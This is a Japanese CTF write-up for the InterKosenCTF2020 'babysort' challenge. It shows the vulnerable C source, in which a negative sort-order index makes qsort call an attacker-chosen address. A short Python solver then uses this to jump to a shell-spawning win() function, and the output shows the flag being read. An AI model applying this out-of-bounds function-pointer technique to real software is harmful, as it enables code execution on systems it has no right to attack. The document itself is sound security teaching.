###### tags: `InterKosenCTF2020` # [InterKosenCTF] babysort ソースコードとバイナリが渡される。 ```clang= #include <stdio.h> #include <stdlib.h> #include <unistd.h> typedef int (*SORTFUNC)(const void*, const void*); typedef struct { long elm[5]; SORTFUNC cmp[2]; } SortExperiment; /* call me! */ void win(void) { char *args[] = {"/bin/sh", NULL}; execve(args[0], args, NULL); } int cmp_asc(const void *a, const void *b) { return *(long*)a - *(long*)b; } int cmp_dsc(const void *a, const void *b) { return *(long*)b - *(long*)a; } int main(void) { SortExperiment se = {.cmp = {cmp_asc, cmp_dsc}}; int i; /* input numbers */ puts("-*-*- Sort Experiment -*-*-"); for(i = 0; i < 5; i++) { printf("elm[%d] = ", i); if (scanf("%ld", &se.elm[i]) != 1) exit(1); } /* sort */ printf("[0] Ascending / [1] Descending: "); if (scanf("%d", &i) != 1) exit(1); qsort(se.elm, 5, sizeof(long), se.cmp[i]); /* output result */ puts("Result:"); for(i = 0; i < 5; i++) { printf("elm[%d] = %ld\n", i, se.elm[i]); } return 0; } __attribute__((constructor)) void setup(void) { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); alarm(300); } ``` 5つの値を降順、昇順でソートしてくれる。 降順、昇順の選択で、負数`-1`の入力ができ、`qsort`が呼ぶアドレスを配列の値にすることができる。 ``` | elm[0] | | elm[1] | | elm[2] | | elm[3] | | elm[4] | <-- cmp[-1] | cmp[0] | | cmp[1] | ``` ```python= from ptrlib import * sock = Socket("localhost", 9001) elf = ELF("./chall") for i in range(4): sock.sendlineafter(" = ", str(i)) sock.sendlineafter(" = ", str(elf.symbol("win"))) sock.sendlineafter("[1] Descending: ", str(-1)) sock.interactive() ``` ``` $ python3 solver.py [+] __init__: Successfully connected to localhost:9001 [ptrlib]$ [ptrlib]$ ls chall flag-165fa1768a33599b04fbb4f7a05d0d26.txt redir.sh [ptrlib]$ cat flag* KosenCTF{f4k3_p01nt3r_l34ds_u_2_w1n} ```